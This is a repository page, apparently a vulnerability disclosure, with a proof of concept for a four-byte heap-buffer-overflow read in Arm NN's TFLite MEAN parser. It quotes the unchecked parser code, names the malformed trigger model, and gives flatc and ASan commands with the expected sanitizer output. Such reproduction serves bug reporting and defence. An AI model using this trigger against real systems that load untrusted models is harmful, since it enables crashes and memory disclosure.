You can deploy this model and start earning money today!

trevdatastreams/
armnn-tflite-mean-missing-axis-oob-poc

Name: armnn-tflite-mean-missing-axis-oob-poc
Availability: InStock

Views

No views yet

Arm NN TFLite Mean missing-axis-input out-of-bounds read

This repository contains a minimal differential reproduction for a native heap-buffer-overflow read in Arm NN's TFLite MEAN parser.

Arm NN commit: 2b61cecc9df7a43fca1463795062cf359e6be820

Files

control.tflite: verifier-valid MEAN model with its required input and axis tensor; parses successfully.
trigger.tflite: verifier-valid MEAN operator with only the data input; AddressSanitizer reports a four-byte heap-buffer-overflow read during ParseMean.
control.json and trigger.json: deterministic FlatBuffers sources.
harness.cpp: minimal public-API loader.
asan-output.txt: representative sanitizer report.
armnn-tflite-mean-missing-axis-oob-poc.zip: complete source and fixtures.

Root cause

ParseMean() checks the output count but never validates that inputs contains the two entries the parser immediately requests:

cpp

auto inputs = GetInputs(m_Model, subgraphIndex, operatorIndex);
auto outputs = GetOutputs(m_Model, subgraphIndex, operatorIndex);
CHECK_VALID_SIZE(outputs.size(), 1);

TensorInfo inputTensorInfo = InputTensorInfo(subgraphIndex, operatorIndex, 0);
TensorInfo dimTensorInfo = InputTensorInfo(subgraphIndex, operatorIndex, 1);
...
BufferRawPtr axisBufferPtr = GetBuffer(m_Model, inputs[1]->buffer);

For a one-input operator, InputTensorInfo(..., 1) reads immediately past the four-byte operator.inputs vector.

Reproduction

Build the fixtures with Arm NN's pinned TFLite schema:

bash

flatc -b schema.fbs control.json
flatc -b schema.fbs trigger.json

Build Arm NN's TFLite parser with ASan/UBSan, compile harness.cpp, then:

bash

./harness control.tflite

ASAN_OPTIONS=abort_on_error=1:detect_leaks=0 \
UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1 \
./harness trigger.tflite

Expected trigger:

text

ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 4
    #0 armnnTfLiteParser::TfLiteParserImpl::InputTensorInfo(...)
    #1 armnnTfLiteParser::TfLiteParserImpl::ParseMean(...)
0x... is located 0 bytes after 4-byte region [0x...,0x...)

Three interleaved controls exited 0. Three triggers exited 134 with the same sanitizer signature.

Fixture integrity